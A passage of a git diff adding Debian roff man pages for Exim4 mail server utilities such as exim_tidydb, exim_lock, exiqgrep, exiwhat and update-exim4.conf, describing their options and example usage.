+routed to several alternative hosts, and Exim makes no effort to keep +cross-references. + +The +.B exim_tidydb +utility program is used to tidy up the contents of a hints database. +If run with no options, it removes all records that are more than 30 days +old. The age is calculated from the date and time that the record was last +updated. Note that, in the case of the retry database, it is not the time +since the first delivery failure. Information about a host that has been +down for more than 30 days will remain in the database, provided that the +record is updated sufficiently often. + +The cutoff date can be altered by means of the \-t option, which must be +followed by a time. +For example, to remove all records older than a week from the retry +database: + +.I exim_tidydb \-t 7d /var/spool/exim4 retry + +Both the +.I wait\-xxx +and +.I retry +databases contain items that involve message ids. +In the former these appear as data in records keyed by host - they were +messages that were waiting for that host - and in the latter they are the +keys for retry information for messages that have suffered certain types +of error. +When \(lqexim_tidydb\(rq is run, a check is made to ensure that message ids in +database records are those of messages that are still on the queue. +Message ids for messages that no longer exist are removed from \(lqwait\-\(rqxxx +records, and if this leaves any records empty, they are deleted. +For the \(lqretry\(rq database, records whose keys are non-existent message +ids are removed. +The +.B exim_tidydb +utility outputs comments on the standard output whenever it removes +information from the database. + +Certain records are automatically removed by Exim when they are no longer +needed, but others are not. For example, if all the MX hosts for a domain +are down, a retry record is created for each one. If the primary MX host +comes back first, its record is removed when Exim successfully delivers to +it, but the records for the others remain because Exim has not tried to use +those hosts. + +It is important, therefore, to run \(lqexim_tidydb\(rq periodically on all +the hints databases. You should do this at a quiet time of day, because it +requires a database to be locked (and therefore inaccessible to Exim) while +it does its work. Removing records from a DBM file does not normally make +the file smaller, but all the common DBM libraries are able to re-use the +space that is released. After an initial phase of increasing in size, the +databases normally reach a point at which they no longer get any bigger, as +long as they are regularly tidied. + +Warning: If you never run \(lqexim_tidydb\(rq, the space used by the hints +databases is likely to keep on increasing. + +The +.B exim_fixdb +program is a utility for interactively modifying databases. +Its main use is for testing Exim, but it might also be occasionally useful +for getting round problems in a live system. +It has no options, and its interface is somewhat crude. +On entry, it prompts for input with a right angle-bracket. +A key of a database record can then be entered, and the data for that +record is displayed. + +If \(oqd\(cq is typed at the next prompt, the entire record is deleted. +For all except the +.I retry +database, that is the only operation that can be carried out. +For the +.I retry +database, each field is output preceded by a number, and data for individual +fields can be changed by typing the field number followed by new data, for +example: + + > 4 951102:1000 + +resets the time of the next delivery attempt. +Time values are given as a sequence of digit pairs for year, month, day, +hour, and minute. +Colons can be used as optional separators. + +.SH BUGS +This manual page needs a major re-work. If somebody knows better groff +than us and has more experience in writing manual pages, any patches +would be greatly appreciated. + +.SH SEE ALSO +.BR exim (8), +/usr/share/doc/exim4\-base/ + +.SH AUTHOR +This manual page was stitched together from spec.txt by +Andreas Metzler <ametzler at downhill.at.eu.org>, +for the Debian GNU/Linux system (but may be used by others). diff --git a/debian/manpages/exim_dbmbuild.8 b/debian/manpages/exim_dbmbuild.8 new file mode 100644 index 0000000..2b4658a --- /dev/null +++ b/debian/manpages/exim_dbmbuild.8 @@ -0,0 +1,105 @@ +.\" Hey, EMACS: -*- nroff -*- +.\" First parameter, NAME, should be all caps +.\" Second parameter, SECTION, should be 1-8, maybe w/ subsection +.\" other parameters are allowed: see man(7), man(1) +.TH EXIM_DBMBUILD 8 "March 26, 2003" +.\" Please adjust this date whenever revising the manpage. +.\" +.\" Some roff macros, for reference: +.\" .nh disable hyphenation +.\" .hy enable hyphenation +.\" .ad l left justify +.\" .ad b justify to both left and right margins +.\" .nf disable filling +.\" .fi enable filling +.\" .br insert line break +.\" .sp <n> insert n+1 empty lines +.\" for manpage-specific macros, see man(7) +.\" \(oqthis text is enclosed in single quotes\(cq +.\" \(lqthis text is enclosed in double quotes\(rq +.SH NAME +exim_dbmbuild \- Build a DBM file. +.SH SYNOPSIS +.B exim_dbmbuild +.I [\-nolc] [\-nozero] [\-noduperr] [\-nowarn] inputfile|\- outputfile + +.SH DESCRIPTION +The +.B exim_dbmbuild +program reads an input file containing keys and data in +the format used by the +.I lsearch +lookup (see section 9.1). +It writes a DBM file using the lower-cased alias names as keys and the +remainder of the information as data. +The lower-casing can be prevented by calling the program with the +.I \-nolc +option. + +A terminating zero is included as part of the key string. +This is expected by the dbm lookup type. +However, if the option +.I \-nozero +is given, +.B exim_dbmbuild +creates files without terminating zeroes in either the key strings or the +data strings. +The +.I dbmnz +lookup type can be used with such files. + +The program requires two arguments: the name of the input file (which can +be a single hyphen to indicate the standard input), and the name of the +output file. +It creates the output under a temporary name, and then renames it if all +went well. +If the native DB interface is in use (USE_DB is set in a compile-time +configuration file - this is common in free versions of Unix) the two file +names must be different, because in this mode the Berkeley DB functions +create a single output file using exactly the name given. +For example, + + exim_dbmbuild /etc/aliases /etc/aliases.db + +reads the system alias file and creates a DBM version of it in +/etc/aliases.db. + +In systems that use the +.I ndbm +routines (mostly proprietary versions of Unix), two files are used, with the +suffixes .dir and .pag. +In this environment, the suffixes are added to the second argument of +.B exim_dbmbuild, +so it can be the same as the first. +This is also the case when the Berkeley functions are used in +compatibility mode (though this is not recommended), because in that case +it adds a .db suffix to the file name. + +If a duplicate key is encountered, the program outputs a warning, and when +it finishes, its return code is 1 rather than zero, unless the +.I \-noduperr +option is used. +By default, only the first of a set of duplicates is used - this makes it +compatible with lsearch lookups. +There is an option +.I \-lastdup +which causes it to use the data for the last duplicate instead. +There is also an option +.I \-nowarn, +which stops it listing duplicate keys to \(lqstderr\(rq. +For other errors, where it doesn't actually make a new file, the return +code is 2. + +.SH BUGS +This manual page needs a major re-work. If somebody knows better groff +than us and has more experience in writing manual pages, any patches +would be greatly appreciated. + +.SH SEE ALSO +.BR exim (8), +/usr/share/doc/exim4\-base/ + +.SH AUTHOR +This manual page was stitched together from spec.txt by +Andreas Metzler <ametzler at downhill.at.eu.org>, +for the Debian GNU/Linux system (but may be used by others). diff --git a/debian/manpages/exim_lock.8 b/debian/manpages/exim_lock.8 new file mode 100644 index 0000000..725084a --- /dev/null +++ b/debian/manpages/exim_lock.8 @@ -0,0 +1,137 @@ +.\" Hey, EMACS: -*- nroff -*- +.\" First parameter, NAME, should be all caps +.\" Second parameter, SECTION, should be 1-8, maybe w/ subsection +.\" other parameters are allowed: see man(7), man(1) +.TH EXIM_LOCK 8 "March 26, 2003" +.\" Please adjust this date whenever revising the manpage. +.\" +.\" Some roff macros, for reference: +.\" .nh disable hyphenation +.\" .hy enable hyphenation +.\" .ad l left justify +.\" .ad b justify to both left and right margins +.\" .nf disable filling +.\" .fi enable filling +.\" .br insert line break +.\" .sp <n> insert n+1 empty lines +.\" for manpage-specific macros, see man(7) +.\" \(oqthis text is enclosed in single quotes\(cq +.\" \(lqthis text is enclosed in double quotes\(rq +.SH NAME +exim_lock \- Mailbox maintenance +.SH SYNOPSIS +.B exim_lock +.RI [ options ] mailbox-file + +.SH DESCRIPTION +The +.B exim_lock +utility locks a mailbox file using the same algorithm as Exim. +For a discussion of locking issues, see section 25.2. +.B exim_lock +can be used to prevent any modification of a mailbox by Exim or a user +agent while investigating a problem. +The utility requires the name of the file as its first argument. +If the locking is successful, the second argument is run as a command +(using C's \(lqsystem()\(rq function); if there is no second argument, the value +of the SHELL environment variable is used; if this is unset or empty, +/bin/sh is run. +When the command finishes, the mailbox is unlocked and the utility ends. +The following options are available: +.TP +.I \-fcntl +Use \(lqfcntl()\(rq locking on the open mailbox. +.TP +.I \-interval +This must be followed by a number, which is a number of seconds; it +sets the interval to sleep between retries (default 3). +.TP +.I \-lockfile +Create a lock file before opening the mailbox. +.TP +.I \-mbx +Lock the mailbox using MBX rules. +.TP +.I \-q +Suppress verification output. +.TP +.I \-retries +This must be followed by a number; it sets the number of times to try +to get the lock (default 10). +.TP +.I \-timeout +This must be followed by a number, which is a number of seconds; it +sets a timeout to be used with a blocking \(lqfcntl()\(rq lock. +If it is not set (the default), a non-blocking call is used. +.TP +.I \-v +Generate verbose output. + +If none of +.I \-fcntl, \-lockfile +or +.I \-mbx +are given, the default is to create a lock file and also use \(lqfcntl()\(rq locking +on the mailbox, which is the same as +.B Exim's +default. +The use of +.I \-fcntl +requires that the file be writable; the use +of +.I \-lockfile +requires that the directory containing the file be writable. +Locking by lock file does not last for ever; Exim assumes that a lock file +is expired if it is more than 30 minutes old. + +The +.I \-mbx +option is mutually exclusive with +.I \-fcntl. +It causes a shared lock to be taken out on the open mailbox, and an +exclusive lock on the file /tmp/.n.m where n and m are the device number +and inode number of the mailbox file. +When the locking is released, if an exclusive lock can be obtained for the +mailbox, the file in /tmp is deleted. + +The default output contains verification of the locking that takes place. +The +.I \-v +option causes some additional information to be given. +The +.I \-q +option suppresses all output except error messages. +.PP +A command such as + + exim_lock /var/spool/mail/spqr + +runs an interactive shell while the file is locked, whereas + + exim_lock \-q /var/spool/mail/spqr <<End + <some commands> + End + +runs a specific non-interactive sequence of commands while the file is +locked, suppressing all verification output. +A single command can be run by a command such as + + exim_lock \-q /var/spool/mail/spqr \ + "cp /var/spool/mail/spqr /some/where" + +Note that if a command is supplied, it must be entirely contained within +the second argument - hence the quotes. + +.SH BUGS +This manual page needs a major re-work. If somebody knows better groff +than us and has more experience in writing manual pages, any patches +would be greatly appreciated. + +.SH SEE ALSO +.BR exim (8), +/usr/share/doc/exim4\-base/ + +.SH AUTHOR +This manual page was stitched together from spec.txt by +Andreas Metzler <ametzler at downhill.at.eu.org>, +for the Debian GNU/Linux system (but may be used by others). diff --git a/debian/manpages/eximon.8 b/debian/manpages/eximon.8 new file mode 100644 index 0000000..400d9cd --- /dev/null +++ b/debian/manpages/eximon.8 @@ -0,0 +1,50 @@ +.\" Hey, EMACS: -*- nroff -*- +.\" First parameter, NAME, should be all caps +.\" Second parameter, SECTION, should be 1-8, maybe w/ subsection +.\" other parameters are allowed: see man(7), man(1) +.TH EXIMON 8 "March 26, 2003" +.\" Please adjust this date whenever revising the manpage. +.\" +.\" Some roff macros, for reference: +.\" .nh disable hyphenation +.\" .hy enable hyphenation +.\" .ad l left justify +.\" .ad b justify to both left and right margins +.\" .nf disable filling +.\" .fi enable filling +.\" .br insert line break +.\" .sp <n> insert n+1 empty lines +.\" for manpage-specific macros, see man(7) +.\" \(oqthis text is enclosed in single quotes\(cq +.\" \(lqthis text is enclosed in double quotes\(rq +.SH NAME +eximon \- Monitor Exim +.SH SYNOPSIS +.B eximon + +.SH DESCRIPTION +The Exim monitor is an application which displays in an X window information +about the state of +.B Exim's +queue and what +.B Exim is doing. +An admin user can perform certain operations on messages from this GUI +interface; however all such facilities are also available from the command +line, and indeed, the monitor itself makes use of the command line to +perform any actions requested. + +.SH BUGS +This manual page needs a major re-work. If somebody knows better groff +than us and has more experience in writing manual pages, any patches +would be greatly appreciated. + +.SH SEE ALSO +.BR exim (8), +/usr/share/doc/exim4\-base/. +Eximon is documented extensivly in the +.B specification of the exim mail transfer agent. + +.SH AUTHOR +This manual page was stitched together from spec.txt by +Andreas Metzler <ametzler at downhill.at.eu.org>, +for the Debian GNU/Linux system (but may be used by others). diff --git a/debian/manpages/exinext.8 b/debian/manpages/exinext.8 new file mode 100644 index 0000000..8aaaf8f --- /dev/null +++ b/debian/manpages/exinext.8 @@ -0,0 +1,73 @@ +.\" Hey, EMACS: -*- nroff -*- +.\" First parameter, NAME, should be all caps +.\" Second parameter, SECTION, should be 1-8, maybe w/ subsection +.\" other parameters are allowed: see man(7), man(1) +.TH EXINEXT 8 "March 26, 2003" +.\" Please adjust this date whenever revising the manpage. +.\" +.\" Some roff macros, for reference: +.\" .nh disable hyphenation +.\" .hy enable hyphenation +.\" .ad l left justify +.\" .ad b justify to both left and right margins +.\" .nf disable filling +.\" .fi enable filling +.\" .br insert line break +.\" .sp <n> insert n+1 empty lines +.\" for manpage-specific macros, see man(7) +.\" \(oqthis text is enclosed in single quotes\(cq +.\" \(lqthis text is enclosed in double quotes\(rq +.SH NAME +exinext \- Finding individual retry times +.SH SYNOPSIS +.B exinext +.I address|message-id + +.SH DESCRIPTION +A utility called +.B exinext +(mostly a Perl script) provides the ability to fish specific information +out of the retry database. +Given a mail domain (or a complete address), it looks up the hosts for +that domain, and outputs any retry information for the hosts or for the +domain. +At present, the retry information is obtained by running +.B exim_dumpdb +(see below) and processing the output. +For example: + + exinext piglet@milne.fict.example + kanga.milne.fict.example:192.168.8.1 error 146: Connection refused + first failed: 21-Feb-1996 14:57:34 + last tried: 21-Feb-1996 14:57:34 + next try at: 21-Feb-1996 15:02:34 + roo.milne.fict.example:192.168.8.3 error 146: Connection refused + first failed: 20-Jan-1996 13:12:08 + last tried: 21-Feb-1996 11:42:03 + next try at: 21-Feb-1996 19:42:03 + past final cutoff time + +You can also give +.B exinext +a local part, without a domain, and it will give any retry information for +that local part in your default domain. +A message id can be used to obtain retry information pertaining to a +specific message. +This exists only when an attempt to deliver a message to a remote host +suffers a message-specific error (see section 42.2). +.B exinext +is not particularly efficient, but then it isn't expected to be run very often. + +.SH BUGS +This manual page needs a major re-work. If somebody knows better groff +than us and has more experience in writing manual pages, any patches +would be greatly appreciated. + +.SH SEE ALSO +.BR exim (8), +/usr/share/doc/exim4\-base/ + +.SH AUTHOR +This manual page was stitched together from spec.txt by +Andreas Metzler <ametzler at downhill.at.eu.org>, +for the Debian GNU/Linux system (but may be used by others). diff --git a/debian/manpages/exiqgrep.8 b/debian/manpages/exiqgrep.8 new file mode 100644 index 0000000..e436237 --- /dev/null +++ b/debian/manpages/exiqgrep.8 @@ -0,0 +1,88 @@ +.\" Hey, EMACS: -*- nroff -*- +.\" First parameter, NAME, should be all caps +.\" Second parameter, SECTION, should be 1-8, maybe w/ subsection +.\" other parameters are allowed: see man(7), man(1) +.TH EXIQGREP 8 "March 26, 2003" +.\" Please adjust this date whenever revising the manpage. +.\" +.\" Some roff macros, for reference: +.\" .nh disable hyphenation +.\" .hy enable hyphenation +.\" .ad l left justify +.\" .ad b justify to both left and right margins +.\" .nf disable filling +.\" .fi enable filling +.\" .br insert line break +.\" .sp <n> insert n+1 empty lines +.\" for manpage-specific macros, see man(7) +.\" \(oqthis text is enclosed in single quotes\(cq +.\" \(lqthis text is enclosed in double quotes\(rq +.SH NAME +exiqgrep \- Search in the exim queue +.SH SYNOPSIS +.B exiqgrep +.I [\-a] [\-c] + +.SH DESCRIPTION +The +.B exiqgrep +utility is a Perl script which offers possibilities to grep in the +exim queue output. Unlike exiqsumm, it invokes exim \-bpu itself and +does not need to be invoked in a pipe. + +.SH OPTIONS +.TP 10 +\fB\-h\fR +Print help +.TP +\fB\-f <regexp>\fR +Match sender address (field is \(lq< >\(rq wrapped) +.TP +\fB\-r <regexp>\fR +Match recipient address +.TP +\fB\-s <regexp>\fR +Match against the site field from long output +.TP +\fB\-y <seconds>\fR +Message younger than +.TP +\fB\-o <seconds>\fR +Message older than +.TP +\fB\-z\fR +Frozen messages only (exclude non-frozen) +.TP +\fB\-x\fR +Non-frozen messages only (exclude frozen) +.TP +\fB\-c\fR +Display match count +.TP +\fB\-l\fR +Long Format [Default] +.TP +\fB\-i\fR +Message IDs only +.TP +\fB\-b\fR +Brief Format +.TP +\fB\-R\fR +Reverse order + +.SH BUGS +This manual page needs a major re-work. If somebody knows better groff +than us and has more experience in writing manual pages, any patches +would be greatly appreciated. + +.SH SEE ALSO +.BR exim (8), +/usr/share/doc/exim4\-base/ + +.SH AUTHOR +This manual page was stitched together from the source code by Marc +Haber <mh+debian\-packages@zugschlus.de>, using the exiqsumm man page by +Andreas Metzler <ametzler at downhill.at.eu.org>, +for the Debian GNU/Linux system (but may be used by others). + diff --git a/debian/manpages/exiqsumm.8 b/debian/manpages/exiqsumm.8 new file mode 100644 index 0000000..e228320 --- /dev/null +++ b/debian/manpages/exiqsumm.8 @@ -0,0 +1,74 @@ +.\" Hey, EMACS: -*- nroff -*- +.\" First parameter, NAME, should be all caps +.\" Second parameter, SECTION, should be 1-8, maybe w/ subsection +.\" other parameters are allowed: see man(7), man(1) +.TH EXIQSUMM 8 "March 26, 2003" +.\" Please adjust this date whenever revising the manpage. +.\" +.\" Some roff macros, for reference: +.\" .nh disable hyphenation +.\" .hy enable hyphenation +.\" .ad l left justify +.\" .ad b justify to both left and right margins +.\" .nf disable filling +.\" .fi enable filling +.\" .br insert line break +.\" .sp <n> insert n+1 empty lines +.\" for manpage-specific macros, see man(7) +.\" \(oqthis text is enclosed in single quotes\(cq +.\" \(lqthis text is enclosed in double quotes\(rq +.SH NAME +exiqsumm \- Summarising the queue +.SH SYNOPSIS +.B exiqsumm +.I [\-a] [\-c] + +.SH DESCRIPTION +The +.B exiqsumm +utility is a Perl script which reads the output of +.I exim \-bp +and produces a summary of the messages on the queue. +Thus, you use it by running a command such as + + exim \-bp | exiqsumm + +The output consists of one line for each domain that has messages waiting +for it, as in the following example: + + 3 2322 74m 66m msn.com.example + +This lists the number of messages for the domain, their total volume, and +the length of time that the oldest and the newest messages have been +waiting. +By default the output is sorted on the domain name, but +.B exiqsumm +has the options +.I \-a +and +.I \-c, +which cause the output to be sorted by oldest message and by count of +messages, respectively. + +The output of +.I exim \-bp +contains the original addresses in the message, so this also applies to +the output from +.B exiqsumm. +No domains from addresses generated by aliasing or forwarding are included +(unless the \(lqone_time\(rq option of the redirect router has been used to +convert them into \(oqtop level\(cq addresses). + +.SH BUGS +This manual page needs a major re-work. If somebody knows better groff +than us and has more experience in writing manual pages, any patches +would be greatly appreciated. + +.SH SEE ALSO +.BR exim (8), +/usr/share/doc/exim4\-base/ + +.SH AUTHOR +This manual page was stitched together from spec.txt by +Andreas Metzler <ametzler at downhill.at.eu.org>, +for the Debian GNU/Linux system (but may be used by others). diff --git a/debian/manpages/exiwhat.8 b/debian/manpages/exiwhat.8 new file mode 100644 index 0000000..ca727e6 --- /dev/null +++ b/debian/manpages/exiwhat.8 @@ -0,0 +1,102 @@ +.\" Hey, EMACS: -*- nroff -*- +.\" First parameter, NAME, should be all caps +.\" Second parameter, SECTION, should be 1-8, maybe w/ subsection +.\" other parameters are allowed: see man(7), man(1) +.TH EXIWHAT 8 "March 26, 2003" +.\" Please adjust this date whenever revising the manpage. +.\" +.\" Some roff macros, for reference: +.\" .nh disable hyphenation +.\" .hy enable hyphenation +.\" .ad l left justify +.\" .ad b justify to both left and right margins +.\" .nf disable filling +.\" .fi enable filling +.\" .br insert line break +.\" .sp <n> insert n+1 empty lines +.\" for manpage-specific macros, see man(7) +.\" \(oqthis text is enclosed in single quotes\(cq +.\" \(lqthis text is enclosed in double quotes\(rq +.SH NAME +exiwhat \- Finding out what Exim processes are doing +.SH SYNOPSIS +.B exiwhat + +.SH DESCRIPTION +On operating systems that can restart a system call after receiving a +signal (most modern OS), an +.B Exim +process responds to the SIGUSR1 signal by writing a line describing what +it is doing to the file exim\-process.info in the Exim spool directory. +The +.B exiwhat +script sends the signal to all +.B Exim +processes it can find, having first emptied the file. +It then waits for one second to allow the +.B Exim +processes to react before displaying the results. +In order to run +.B exiwhat +successfully you have to have sufficient privilege to send the signal to +the +.B Exim +processes, so it is normally run as root. + +Unfortunately, the +.B ps +command which +.B exiwhat +uses to find +.B Exim +processes varies in different operating systems. +Not only are different options used, but the format of the output is +different. +For this reason, there are some system configuration options that configure +exactly how +.B exiwhat +works. +If it doesn't seem to be working for you, check the following compile-time +options: +.TP +.I EXIWHAT_PS_CMD +the command for running \(lqps\(rq +.TP +.I EXIWHAT_PS_ARG +the argument for \(lqps\(rq +.TP +.I EXIWHAT_EGREP_ARG +the argument for \(lqegrep\(rq to select from \(lqps\(rq output +.TP +.I EXIWHAT_KILL_ARG +the argument for the \(lqkill\(rq command +.PP +An example of typical output from +.B exiwhat +is + +.nf + 164 daemon: \-q1h, listening on port 25 +10483 running queue: waiting for 0tAycK-0002ij-00 (10492) +10492 delivering 0tAycK-0002ij-00 to mail.ref.example [10.19.42.42] + (editor@ref.example) +10592 handling incoming call from [192.168.243.242] +10628 accepting a local non-SMTP message +.fi + +The first number in the output line is the process number. +The third line has been split here, in order to fit it on the page. + +.SH BUGS +This manual page needs a major re-work. If somebody knows better groff +than us and has more experience in writing manual pages, any patches +would be greatly appreciated. + +.SH SEE ALSO +.BR exim (8), +/usr/share/doc/exim4\-base/ + +.SH AUTHOR +This manual page was stitched together from spec.txt by +Andreas Metzler <ametzler at downhill.at.eu.org>, +for the Debian GNU/Linux system (but may be used by others). diff --git a/debian/manpages/update-exim4.conf.8 b/debian/manpages/update-exim4.conf.8 new file mode 100644 index 0000000..9a4efcb --- /dev/null +++ b/debian/manpages/update-exim4.conf.8 @@ -0,0 +1,346 @@ +.\" Hey, EMACS: -*- nroff -*- +.\" First parameter, NAME, should be all caps +.\" Second parameter, SECTION, should be 1-8, maybe w/ subsection +.\" other parameters are allowed: see man(7), man(1) +.TH UPDATE-EXIM4.CONF 8 "Jun 25, 2005" EXIM4 +.\" Please adjust this date whenever revising the manpage. +.\" +.\" Some roff macros, for reference: +.\" .nh disable hyphenation +.\" .hy enable hyphenation +.\" .ad l left justify +.\" .ad b justify to both left and right margins +.\" .nf disable filling +.\" .fi enable filling +.\" .br insert line break +.\" .sp <n> insert n+1 empty lines +.\" for manpage-specific macros, see man(7) +.\" \(oqthis text is enclosed in single quotes\(cq +.\" \(lqthis text is enclosed in double quotes\(rq +.SH NAME +update\-exim4.conf \- Generate exim4 configuration files. + +.SH SYNOPSIS +.B update\-exim4.conf [\-v|\-\-verbose] [\-h|\-\-help] [\-\-keepcomments] [\-\-removecomments] [\-o|\-\-output file] + +.SH OPTIONS +.TP +.I \-\-check +Generate temporary configuration file, check its validity and exit with +either success (exitcode 0) or an error (exitcode 1). On success the +temporary file is deleted, otherwise the file is left for further +debugging. +.TP +.I \-d|\-\-confdir directory +Read input from directory instead of /etc/exim4. +.TP +.I \-h|\-\-help +Show short help message and exit +.TP +.I \-\-keepcomments +Do not remove comment lines from the output file. +.TP +.I \-o|\-\-output file +Write output to file instead of /var/lib/exim4/config.autogenerated. +.TP +.I \-\-removecomments +Remove comment lines from the output file. [Default] +.TP +.I \-v|\-\-verbose +Enable verbose mode + +.SH DESCRIPTION +The script +.B update\-exim4.conf +generates the main configuration files +.I /var/lib/exim4/config.autogenerated +for +.B Exim v4 +by merging the data in the template file +.I /etc/exim4/exim4.conf.template +or the ones in the +.I /etc/exim4/conf.d +directory tree respectively and +.I /etc/exim4/update\-exim4.conf.conf +to the output file +.I /var/lib/exim4/config.autogenerated. +.PP +If dc_use_split_config in /etc/exim4/update\-exim4.conf.conf specifies a split +configuration, +.B update\-exim4.conf +processes the /etc/exim4/conf.d subdirectories in the order main, acl, +router, transport, retry, rewrite and auth. Within each directory it takes +files in lexical sort order by file name. It concatenates all these files +and makes the debconf replacement described below. + +If you are not using split configuration +.B update\-exim4.conf +concatenates +/etc/exim4/exim4.conf.localmacros +(if this file exists) and /etc/exim4/exim4.conf.template (in this order) and +makes the debconf replacement described below. + +In either case, before outputting the result +to /var/lib/exim4/config.autogenerated, +.B update\-exim4.conf +generates a number of exim configuration macros from the contents of +dc_something from /etc/exim4/update\-exim4.conf.conf and inserts them +into the configuration right after the definition of the exim +configuration macro UPEX4CmacrosUPEX4C (which is only used as +placeholder for this case). The macro definitions are bracketed +with .ifdef clauses to allow the local admin to override the values with +earlier definitions. +.B update\-exim4.conf +makes no other changes to the configuration. +This makes it very simple to make small changes to the configuration and +still have the benefits of debconf. + +On the other hand if you don't want to manage exim4.conf with debconf +install your own handcrafted version as /etc/exim4/exim4.conf. +Exim will use this file if it exists and ignore the autogenerated one. +Additionally you might want to set +.I dc_eximconfig_configtype=none +in /etc/exim4/update\-exim4.conf.conf to stop debconf from asking you questions about exim4. + +.B update\-exim4.conf +exits silently and does nothing if /etc/exim4/exim4.conf exists and \-o +was not used to direct the output to a different file than +/var/lib/exim4/config.autogenerated. + +.B update\-exim4.conf +will only use files in the conf.d directory that have a filename which +consists only of letters, numbers, underscores and hyphens +([:alnum:]_\-), similar to +.B run\-parts(8). +Additionally, +.B update\-exim4.conf +will use /etc/exim4/conf.d/foo/bar.rul instead of +/etc/exim4/conf.d/foo/bar if the .rul file exists. This is meant to be +helpful for easy interaction with packages extending Exim. + +If the new configuration will be written to +/var/lib/exim4/config.autogenerated, +.B update\-exim4.conf +will check the validity of the freshly generated configuration. If +the new file is detected as invalid, update-exim4.conf leaves the old +/var/lib/exim4/config.autogenerated untouched and exits with an error. + +However, there are still possible invalidities that can only be +detected at run time. This most notably applies to errors in +expressions that are expanded at run time. + +If the new configuration will be written to some other file, no +validity checking occurs and that file will always be overwritten. + +.SH EXAMPLES +You want to be able to check exim's queue as normal user: Generate a new +file, e.g. /etc/exim4/conf.d/main/40_local_mailq, containing only the line +.I queue_list_requires_admin = false + +.SH NOTES +.B update\-exim4.conf +changes the file permissions of the output file to the value of the environment +variable CFILEMODE. If CFILEMODE is neither set in +/etc/exim4/update\-exim4.conf.conf nor in the environment it defaults to 0644. +Change this to 0640 if you are keeping sensitive information (LDAP credentials +et. al.) in there. + +.SH CONFIGURATION VARIABLES +All lists given in configuration variables are semicolon-separated. In +the past, they used to be colon separated. This was changed to +semicolon separation to make specification of IPv6 addresses easier. +Backwards compatibility is preserved, so that old configurations using +colons as separators do still work. Colons are deprecated and might +stop working in a later release. If you need to specify a single IPv6 +address in a field that is defined as a list of host names or IP +addresses, please prefix "<;" to explicitly specify the list separator +as a semicolon. Otherwise, the code cannot tell an IP address from a +colon-separated list of strange host names. + +Using lookups like "dsearch;something" in update-exim4.conf.conf has +never been supported and does no longer work! If you need this, please +convert to directly setting the appropriate macros. + +.B update\-exim4.conf +evaluates these patterns in +.B /etc/exim4/update\-exim4.conf.conf: +.TP +.I CFILEMODE +The octal file mode of the generated file. +.TP +.I dc_eximconfig_configtype +The main configuration type. Sets macro DC_eximconfig_configtype. The macro +usually contains a shorthand for one of the choices for the +\(lqGeneral type of mail configuration\(rq debconf question (See +README.Debian). + +.RS +.B dc_eximconfig_configtype <-> debconf configtype mapping: +.PD 0.1 +.TP +\(lqinternet\(rq +internet site; mail is sent and received directly using SMTP +.TP +\(lqsmarthost\(rq +mail sent by smarthost; received via SMTP or fetchmail +.TP +\(lqsatellite\(rq +mail sent by smarthost; no local mail +.TP +\(lqlocal\(rq +local delivery only; not on a network +.TP +\(lqnone\(rq +no configuration at this time +.PD +.RE + +.TP +.I dc_hide_mailname +Boolean option that controls whether the local mailname in the headers of +outgoing mail should be hidden. (Only effective for \(lqsmarthost\(rq and +\(lqsatellite\(rq. Sets macro HIDE_MAILNAME. +.TP +.I dc_mailname_in_oh +Internal use only Boolean option that is set by the maintainer scripts +after adding the contents of /etc/mailname to the dc_other_hostnames +list. This is a transition helper since it wouldn't otherwise be +possible to see whether that domain name has been removed from +dc_other_hostnames on purpose. This is not used by update-exim4.conf, +and no macro is set. +.TP +.I ue4c_keepcomments +Boolean option that controls whether +.B update\-exim4.conf +strips the comments from the target configuration file (default) or +leaves them in. This can be overridden by the command line options +\-\-keepcomments and \-\-removecomments. The value is not written to an +exim macro. +.TP +.I dc_localdelivery +name of the default transport for local mail delivery. Defaults to mail_spool +if unset, use maildir_home for delivery to ~/Maildir/. Sets macro +LOCAL_DELIVERY. +.TP +.I dc_local_interfaces +List of IP addresses the Exim daemon should listen on. If this is left +empty, Exim listens on all interfaces. Sets macro +MAIN_LOCAL_INTERFACES only if there is a non-empty value. +.TP +.I dc_minimaldns +Boolean option to activate some option to minimize DNS lookups, if set to +\(lqtrue\(rq a macro DC_minimaldns is defined. If true, the macro +DC_minimaldns is set to 1, and the macro +MAIN_HARDCODE_PRIMARY_HOSTNAME is set to the appropriately +post-processes output of hostname \-\-fqdn. +.TP +.I dc_other_hostnames +is used to build the local_domains list, together with \(lqlocalhost\(rq. +This is the list of domains for which this machine should +consider itself the final destination. The local_domains list ends up +in the macro MAIN_LOCAL_DOMAINS. +.TP +.I dc_readhost +For \(lqsmarthost\(rq and \(lqsatellite\(rq it is possible to hide the local +mailname in the headers of outgoing mail and replace it with this value +instead, using rewriting. For \(lqsatellite\(rq only, this value is +also the host to send local mail to. Sets macro DCreadhost. +.TP +.I dc_relay_domains +is a list of domains for which we accept mail from anywhere on the +Internet but which are not delivered locally, e.g. because this machine +serves as secondary MX for these domains. Sets MAIN_RELAY_TO_DOMAINS. +.TP +.I dc_relay_nets +A list of machines for which we serve as smarthost. Please note that +127.0.0.1 and ::1 are always permitted to relay since /usr/lib/sendmail +is available anyway and relay control doesn't make sense here. Sets +macro MAIN_RELAY_NETS. +.TP +.I dc_smarthost +List of hosts to which all outgoing mail is passed to and that takes care +of delivering it. Each of the hosts is tried, in the order specified +(See exim specification, chapter 20.5). All deliveries go out to TCP +port 25 unless a different port is specified after the host name, +separated from the host name by two colons. Colons in IPv6 addresses need +to be doubled. If a port number follows, IP addresses may be enclosed in +brackets, which might be the only possibility to specify delivery to an +IPv6 address and a different port. Examples: +.br +.BR host.domain.example +deliver to host looked up on DNS, tcp/25 +.br +.BR host.domain.example::587 +deliver to host looked up on DNS, tcp/587 +.br +.BR 192.168.2.4 +deliver to IPv4 host, tcp/25 +.br +.BR 192.168.2.4::587 +deliver to IPv4 host, tcp/587 +.br +.BR [192.168.2.4]::587 +deliver to IPv4 host, tcp/587 +.br +.BR 2001::0db8::f::4::::2 +deliver to IPv6 host, tcp/25 +.br +.BR [2001::0db8::f::4::::2]::587 +deliver to IPv6 host, tcp/587 +.br +This is used as value of the DCsmarthost macro. +.TP +.I dc_use_split_config +Boolean option that controls whether +.B update\-exim4.conf +uses /etc/exim4/exim4.conf.template (\(lqfalse\(rq) or the multiple files +below /etc/exim4/conf.d (\(lqtrue\(rq) as input. This does not set any +macros. +.TP +.I The macro MAIN_PACKAGE_VERSION is set to Debian's Version number of +the package being installed for convenient inclusion in the +configuration. + +.SH RECOMMENDED USAGE +If you are running exim as daemon (as it is in the default setup of the +Debian packages) you should not invoke +.B update\-exim4.conf +directly when exim is running. For SMTP receiving or queue running, +exim forks, and the 